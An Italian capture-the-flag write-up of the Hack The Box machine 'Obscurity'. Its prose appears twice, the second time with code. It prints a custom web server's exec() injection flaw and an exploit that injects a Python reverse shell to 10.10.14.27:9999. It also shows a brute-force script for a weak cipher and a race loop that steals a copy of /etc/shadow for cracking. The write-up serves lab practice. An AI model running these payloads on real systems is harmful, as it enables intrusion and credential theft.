HTB Writeups 0x05 - Obscurity (4.8/10)
Abilità affinate:
- Code review
- Reversing
- Python coding
- Cracking shadow file
Tools utilizzati:
- nmap
- owasp zap
- python
- john
Introduzione & Foothold:
Obscurity è una macchina Linux di Media difficoltà, contenente componenti completamente custom, che rispetta il detto "Security through Obscurity".
Iniziamo come sempre con una scansione delle porte con nmap
Troviamo aperte la porta 22, con OpenSSH 7.6p1, e la porta 8080, con BadHTTPServer, un web server completamente custom.
Visitiamo il contenuto del web server per trovare una seire di pagina statiche, apparentemente inutili, ma una delle quali contenente un messaggio per gli sviluppatori:
Bene, sappiamo che esiste una cartella di developement contenente il file SuperSecureServer.py... troviamola!
Per fare ciò, possiamo utilizzare un qualunque programma per fare fuzzing, come wfuzz, ffuf,zaproxy etc...
Fuzzato, scopriamo che il file è contenuto su http://10.10.10.168:8080/develop/SuperSecureServer.py
Scarichiamo il file e analizziamolo:
Lo script gestisce le richieste client-server al web server, ma contiene una vulnerabilità nel segmento di codice
poichè viene eseguito un exec su info, che a sua volta conterrà path, una variabile che possiamo popolare a piacimento e che verrà iniettata all'interno dell'exec.
Costruiamo quindi uno script che ci permetta di exploitare la vulnerabilità:
Questo script inietterà una reverse-shell verso il nostro IP, sulla porta 9999, poichè il contenuto della variabile passata all'istruzione exec comporrà questo payload:
exec(output = 'Document: tmp'
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.27",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])
a=' ' )
Dove in blu viene mostrata la sintassi del comando, in verde il codice previsto dall'applicazione e in rosso il payload iniettato
Lateral movement to Robert:
Ottenuta la shell come www-data, eseguiamo un po' di post-exploitation per scoprire che l'utente della macchina si chiama Robert. Visitiamo la sua home directory e per scoprire che possiamo visitarla e leggerne il contenuto dei files.
Troviamo una serie di script, tra cui un server SSH custom (BetterSSH), un tool di crypt-decrypt (SuperSecureCrypt.py) e un insieme di file per eseguire delle prove.
Il codice si SuperSecureCrypt.py è il seguente
mentre il contenuto di check.txt, out.txt e passwordreminder.txt è
Abbiamo bisogno di trovare la chiave per poter decifrare il file passwordreminder.txt e autenticarci come utente robert.
Per farlo, dobbiamo analizzare lo script di cifratura e crackare out.txt
Siccome out.txt e check.txt sono "fratelli" (dipendono uno dall'altro), ciò che vogliamo fare è utilizzare il meccanismo di criptazione di SuperSecureCrypt.py per fare brute-force di ogni carattere dell'alfabeto con ogni file di check.txt, fino a ottenere out.txt
Per farlo, ci basterà costruire un rapido script in python
Eseguendo lo script, otterremo la password, e tramite la password potremo decodificare passwordreminder.txt
Password trovata! Ora possiamo usarla tramite il comando su per diventare l'utente Robert
Privilege Escalation:
Come del resto tutta la macchina, anche il percorso di privilege escalation si basa sull'exploiting di una componente custom della box.
Eseguendo il comando
Qui possiamo seguire due percorsi per ottenere i permessi di root:
1. Intercettare il file con il contenuto di /etc/shadow
2. Sfruttare la vulnerabilità del codice
Per risparmiare tempo, ho deciso di seguire il primo percorso.
Poichè lo script salva temporaneamente il contenuto di /etc/shadow all'interno di un file con nome casuale in /tmp/SSH, è possibile intercettare tale file e spostarlo prima che lo script lo rimuova.
Per farlo, creiamo il seguente script
e lanciamolo, dopodichè lanciamo BetterSSH.py come utente root.
Il programma andrà in errore poichè non riuscirà a cancellare il file che abbiamo intercettato. In compenso però, aprendo il file, potremo estrarre l'hash dell'utente root per craccarlo con john.
Una volta ottenuta la password, potremo usare il comando su per autenticarci come utente root.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Notoriety wasn't as good as fame, but was heaps better than obscurity.
- Neil Gaiman
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Autore: 0xbro
This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License.
Abilità affinate:
- Code review
- Reversing
- Python coding
- Cracking shadow file
Tools utilizzati:
- nmap
- owasp zap
- python
- john
Introduzione & Foothold:
Obscurity è una macchina Linux di Media difficoltà, contenente componenti completamente custom, che rispetta il detto "Security through Obscurity".
Iniziamo come sempre con una scansione delle porte con nmap
Bash:
# Nmap 7.80 scan initiated Fri Feb 21 22:01:19 2020 as: nmap -A -O --script=banner -o nmap.txt 10.10.10.168
Nmap scan report for 10.10.10.168
Host is up (0.048s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_banner: SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3
8080/tcp open http-proxy BadHTTPServer
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 200 OK
| Date: Fri, 21 Feb 2020 21:03:21
| Server: BadHTTPServer
| Last-Modified: Fri, 21 Feb 2020 21:03:21
| Content-Length: 4171
| Content-Type: text/html
| Connection: Closed
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>0bscura</title>
| <meta http-equiv="X-UA-Compatible" content="IE=Edge">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta name="keywords" content="">
| <meta name="description" content="">
| <!--
| Easy Profile Template
| http://www.templatemo.com/tm-467-easy-profile
| <!-- stylesheet css -->
| <link rel="stylesheet" href="css/bootstrap.min.css">
| <link rel="stylesheet" href="css/font-awesome.min.css">
| <link rel="stylesheet" href="css/templatemo-blue.css">
| </head>
| <body data-spy="scroll" data-target=".navbar-collapse">
| <!-- preloader section -->
| <!--
| <div class="preloader">
|_ <div class="sk-spinner sk-spinner-wordpress">
|_http-server-header: BadHTTPServer
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.80%I=7%D=2/21%Time=5E50452A%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20Fri,\x2021\x20Feb\x2020
SF:20\x2021:03:21\nServer:\x20BadHTTPServer\nLast-Modified:\x20Fri,\x2021\
SF:x20Feb\x202020\x2021:03:21\nContent-Length:\x204171\nContent-Type:\x20t
SF:ext/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20html>\n<html\x20lang=\"
SF:en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<title>0bscura</title>\
SF:n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\">\n\t<
SF:meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-s
SF:cale=1\">\n\t<meta\x20name=\"keywords\"\x20content=\"\">\n\t<meta\x20na
SF:me=\"description\"\x20content=\"\">\n<!--\x20\nEasy\x20Profile\x20Templ
SF:ate\nhttp://www\.templatemo\.com/tm-467-easy-profile\n-->\n\t<!--\x20st
SF:ylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/boo
SF:tstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/font-a
SF:wesome\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/templa
SF:temo-blue\.css\">\n</head>\n<body\x20data-spy=\"scroll\"\x20data-target
SF:=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20section\x20-->\n<!--\n<
SF:div\x20class=\"preloader\">\n\t<div\x20class=\"sk-spinner\x20sk-spinner
SF:-wordpress\">\n")%r(HTTPOptions,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20
SF:Fri,\x2021\x20Feb\x202020\x2021:03:21\nServer:\x20BadHTTPServer\nLast-M
SF:odified:\x20Fri,\x2021\x20Feb\x202020\x2021:03:21\nContent-Length:\x204
SF:171\nContent-Type:\x20text/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20
SF:html>\n<html\x20lang=\"en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t
SF:<title>0bscura</title>\n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20co
SF:ntent=\"IE=Edge\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<meta\x20name=\"keywords\"\x20conte
SF:nt=\"\">\n\t<meta\x20name=\"description\"\x20content=\"\">\n<!--\x20\nE
SF:asy\x20Profile\x20Template\nhttp://www\.templatemo\.com/tm-467-easy-pro
SF:file\n-->\n\t<!--\x20stylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesh
SF:eet\"\x20href=\"css/bootstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet
SF:\"\x20href=\"css/font-awesome\.min\.css\">\n\t<link\x20rel=\"stylesheet
SF:\"\x20href=\"css/templatemo-blue\.css\">\n</head>\n<body\x20data-spy=\"
SF:scroll\"\x20data-target=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20
SF:section\x20-->\n<!--\n<div\x20class=\"preloader\">\n\t<div\x20class=\"s
SF:k-spinner\x20sk-spinner-wordpress\">\n");
Aggressive OS guesses: Linux 3.2 - 4.9 (94%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.18 (92%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Linux 3.16 (91%), Crestron XPanel control system (91%), Adtran 424RG FTTH gateway (90%), Linux 2.6.32 (90%), Linux 3.1 - 3.2 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 47.56 ms 10.10.14.1
2 47.70 ms 10.10.10.168
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Feb 21 22:01:52 2020 -- 1 IP address (1 host up) scanned in 33.43 seconds
Visitiamo il contenuto del web server per trovare una seire di pagina statiche, apparentemente inutili, ma una delle quali contenente un messaggio per gli sviluppatori:
Message to server devs: the current source code for the web server is in 'SuperSecureServer.py' in the secret development directory
Bene, sappiamo che esiste una cartella di developement contenente il file SuperSecureServer.py... troviamola!
Per fare ciò, possiamo utilizzare un qualunque programma per fare fuzzing, come wfuzz, ffuf,zaproxy etc...
Fuzzato, scopriamo che il file è contenuto su http://10.10.10.168:8080/develop/SuperSecureServer.py
Scarichiamo il file e analizziamolo:
Python:
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess
respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}
{body}
"""
DOC_ROOT = "DocRoot"
CODES = {"200": "OK",
"304": "NOT MODIFIED",
"400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
"500": "INTERNAL SERVER ERROR"}
MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
"ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
"js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}
class Response:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
now = datetime.now()
self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
def stringResponse(self):
return respTemplate.format(**self.__dict__)
class Request:
def __init__(self, request):
self.good = True
try:
request = self.parseRequest(request)
self.method = request["method"]
self.doc = request["documentc"]
self.vers = request["vers"]
self.header = request["header"]
self.body = request["body"]
except:
self.good = False
def parseRequest(self, request):
req = request.strip("\r").split("\n")
method,doc,vers = req[0].split(" ")
header = req[1:-3]
body = req[-1]
headerDict = {}
for param in header:
pos = param.find(": ")
key, val = param[:pos], param[pos+2:]
headerDict.update({key: val})
return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
def listen(self):
self.sock.listen(5)
while True:
client, address = self.sock.accept()
client.settimeout(60)
threading.Thread(target = self.listenToClient,args = (client,address)).start()
def listenToClient(self, client, address):
size = 1024
while True:
try:
data = client.recv(size)
if data:
# Set the response to echo back the recieved data
req = Request(data.decode())
self.handleRequest(req, client, address)
client.shutdown()
client.close()
else:
raise error('Client disconnected')
except:
client.close()
return False
def handleRequest(self, request, conn, address):
if request.good:
# try:
# print(str(request.method) + " " + str(request.doc), end=' ')
# print("from {0}".format(address[0]))
# except Exception as e:
# print(e)
document = self.serveDoc(request.doc, DOC_ROOT)
statusNum=document["status"]
else:
document = self.serveDoc("/errors/400.html", DOC_ROOT)
statusNum="400"
body = document["body"]
statusCode=CODES[statusNum]
dateSent = ""
server = "BadHTTPServer"
modified = ""
length = len(body)
contentType = document["mime"] # Try and identify MIME type from string
connectionType = "Closed"
resp = Response(
statusNum=statusNum, statusCode=statusCode,
dateSent = dateSent, server = server,
modified = modified, length = length,
contentType = contentType, connectionType = connectionType,
body = body
)
data = resp.stringResponse()
if not data:
return -1
conn.send(data.encode())
return 0
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
if path == "/":
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
if os.path.isfile(requested):
mime = mimetypes.guess_type(requested)
mime = (mime if mime[0] != None else "text/html")
mime = MIMES[requested.split(".")[-1]]
try:
with open(requested, "r") as f:
data = f.read()
except:
with open(requested, "rb") as f:
data = f.read()
status = "200"
else:
errorPage = os.path.join(docRoot, "errors", "404.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read().format(path)
status = "404"
except Exception as e:
print(e)
errorPage = os.path.join(docRoot, "errors", "500.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read()
status = "500"
return {"body": data, "mime": mime, "status": status}
Python:
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
Costruiamo quindi uno script che ci permetta di exploitare la vulnerabilità:
Python:
import requests
import urllib
import os
target = 'http://10.10.10.168:8080/'
expl = 'tmp\''+'\nimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.27",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])\na=\''
payload = urllib.parse.quote(expl)
print("payload")
print(target + payload)
r = requests.get(target+payload)
print(r.headers)
print(t.text)
exec(output = 'Document: tmp'
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.27",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])
a=' ' )
Dove in blu viene mostrata la sintassi del comando, in verde il codice previsto dall'applicazione e in rosso il payload iniettato
Lateral movement to Robert:
Ottenuta la shell come www-data, eseguiamo un po' di post-exploitation per scoprire che l'utente della macchina si chiama Robert. Visitiamo la sua home directory e per scoprire che possiamo visitarla e leggerne il contenuto dei files.
Troviamo una serie di script, tra cui un server SSH custom (BetterSSH), un tool di crypt-decrypt (SuperSecureCrypt.py) e un insieme di file per eseguire delle prove.
Il codice si SuperSecureCrypt.py è il seguente
Python:
import sys
import argparse
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted
def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted
parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')
parser.add_argument('-i',
metavar='InFile',
type=str,
help='The file to read',
required=False)
parser.add_argument('-o',
metavar='OutFile',
type=str,
help='Where to output the encrypted/decrypted file',
required=False)
parser.add_argument('-k',
metavar='Key',
type=str,
help='Key to use',
required=False)
parser.add_argument('-d', action='store_true', help='Decrypt mode')
args = parser.parse_args()
banner = "################################\n"
banner+= "# BEGINNING #\n"
banner+= "# SUPER SECURE ENCRYPTOR #\n"
banner+= "################################\n"
banner += " ############################\n"
banner += " # FILE MODE #\n"
banner += " ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
print("Missing args")
else:
if args.d:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Decrypting...")
decrypted = decrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(decrypted)
else:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Encrypting...")
encrypted = encrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(encrypted)
Bash:
root@kali:~/Documents/CTF/HTB/Machine/Obscurity/robert# cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!
Bash:
root@kali:~/Documents/CTF/HTB/Machine/Obscurity/robert# hd out.txt
00000000 c2 a6 c3 9a c3 88 c3 aa c3 9a c3 9e c3 98 c3 9b |................|
00000010 c3 9d c3 9d c2 89 c3 97 c3 90 c3 8a c3 9f c2 85 |................|
00000020 c3 9e c3 8a c3 9a c3 89 c2 92 c3 a6 c3 9f c3 9d |................|
00000030 c3 8b c2 88 c3 9a c3 9b c3 9a c3 aa c2 81 c3 99 |................|
00000040 c3 89 c3 ab c2 8f c3 a9 c3 91 c3 92 c3 9d c3 8d |................|
00000050 c3 90 c2 85 c3 aa c3 86 c3 a1 c3 99 c3 9e c3 a3 |................|
00000060 c2 96 c3 92 c3 91 c2 88 c3 90 c3 a1 c3 99 c2 a6 |................|
00000070 c3 95 c3 a6 c3 98 c2 9e c2 8f c3 a3 c3 8a c3 8e |................|
00000080 c3 8d c2 81 c3 9f c3 9a c3 aa c3 86 c2 8e c3 9d |................|
00000090 c3 a1 c3 a4 c3 a8 c2 89 c3 8e c3 8d c3 9a c2 8c |................|
000000a0 c3 8e c3 ab c2 81 c3 91 c3 93 c3 a4 c3 a1 c3 9b |................|
000000b0 c3 8c c3 97 c2 89 c2 81 76 |........v|
000000b9
Bash:
root@kali:~/Documents/CTF/HTB/Machine/Obscurity/robert# hd passwordreminder.txt
00000000 c2 b4 c3 91 c3 88 c3 8c c3 89 c3 a0 c3 99 c3 81 |................|
00000010 c3 91 c3 a9 c2 af c2 b7 c2 bf 6b |..........k|
0000001b
Per farlo, dobbiamo analizzare lo script di cifratura e crackare out.txt
Siccome out.txt e check.txt sono "fratelli" (dipendono uno dall'altro), ciò che vogliamo fare è utilizzare il meccanismo di criptazione di SuperSecureCrypt.py per fare brute-force di ogni carattere dell'alfabeto con ogni file di check.txt, fino a ottenere out.txt
Per farlo, ci basterà costruire un rapido script in python
Python:
import string
banner = "################################\n"
banner+= "# BEGINNING #\n"
banner+= "# SUPER SECURE ENCRYPTOR #\n"
banner+= "################################\n"
banner+= "################################\n"
banner+= "# BRUTE FORCE MODE #\n"
banner+= "################################"
print(banner)
key = ""
with open('check.txt','r',encoding='UTF-8') as f:
clearFile = f.read()
with open('out.txt','r',encoding='UTF-8') as f:
cryptedFile = f.read()
indCrypt = 0
for cryptChr in cryptedFile: # ciclo ogni carattere criptato
for incr in range(1,255): # provo ogni valore di chiave
newChr = ord(cryptChr)
newChr = chr((newChr - incr) % 255)
if newChr == clearFile[indCrypt]:
key += chr(incr)
break # vado alla lettera criptata successiva
indCrypt = indCrypt +1 # tengo il conto della posizione del carattere
print(key)
Password trovata! Ora possiamo usarla tramite il comando su per diventare l'utente Robert
Privilege Escalation:
Come del resto tutta la macchina, anche il percorso di privilege escalation si basa sull'exploiting di una componente custom della box.
Eseguendo il comando
sudo -l
noteremo come l'utente possa eseguire con permessi di amministratore lo script BetterSSH.py, il cui sorgente è il seguente
Python:
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess
path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
session['user'] = input("Enter username: ")
passW = input("Enter password: ")
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)
passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1)
salt = ""
realPass = ""
for p in passwords:
if p[0] == session['user']:
salt, realPass = p[1].split('$')[2:]
break
if salt == "":
print("Invalid user")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
salt = '$6$'+salt+'$'
realPass = salt + realPass
hash = crypt.crypt(passW, salt)
if hash == realPass:
print("Authed!")
session['authenticated'] = 1
else:
print("Incorrect pass")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
traceback.print_exc()
sys.exit(0)
if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
cmd.extend(command.split(" "))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
o,e = proc.communicate()
print('Output: ' + o.decode('ascii'))
print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
1. Intercettare il file con il contenuto di /etc/shadow
2. Sfruttare la vulnerabilità del codice
Per risparmiare tempo, ho deciso di seguire il primo percorso.
Poichè lo script salva temporaneamente il contenuto di /etc/shadow all'interno di un file con nome casuale in /tmp/SSH, è possibile intercettare tale file e spostarlo prima che lo script lo rimuova.
Per farlo, creiamo il seguente script
Bash:
#!/bin/bash
while :
do
find "/tmp/SSH" -type f -exec mv {} /tmp/tmp \;
done
Il programma andrà in errore poichè non riuscirà a cancellare il file che abbiamo intercettato. In compenso però, aprendo il file, potremo estrarre l'hash dell'utente root per craccarlo con john.
Una volta ottenuta la password, potremo usare il comando su per autenticarci come utente root.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Notoriety wasn't as good as fame, but was heaps better than obscurity.
- Neil Gaiman
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Autore: 0xbro
This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License.